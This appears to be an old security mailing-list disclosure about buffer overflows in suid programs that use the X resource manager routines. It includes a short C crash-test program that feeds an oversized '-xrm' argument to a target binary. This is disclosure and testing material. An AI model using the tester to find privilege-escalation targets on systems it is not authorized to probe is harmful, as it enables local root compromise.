- This (and the printer and iwsh) exploit have actually highlighted a
- serious problem in the resource manager routines in the X libraries on
- all platforms I have access to, and I need time to assess the full
- impact of this. From first impressions, it looks like pretty much every
- suid program linked against the X libraries which uses the X resource
- manager routines is vulnerable to buffer overflow exploits even if the
- programs themselves are secure. e.g. I have successfully buffer
- overflowed xlockmore-4.02 on FreeBSD, which has been specifically
- patched against this problem.
-
- To test the extent of this, compile the following program and run it
- with various X suid programs as parameters. If you get a segmentation
- fault or bus error, then you are potentially vulnerable.
-
- ----------------------- testx.c ---------------------
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
-
- void main(int argc, char **argv)
- {
- char *env[] = {0};
- char buffer[18000]; /* Irix has a 20k limit for environment+args */
- if (argc < 2)
- exit(1);
-
- memset(buffer,'a',sizeof buffer);
- buffer[sizeof buffer-1] = '\0';
-
- execle(argv[1], argv[1], "-xrm", buffer, 0, env);
- perror("exec failed");
- }

- here we can see that xlock is not vulnerable to this attack, but the
- others potentially are.
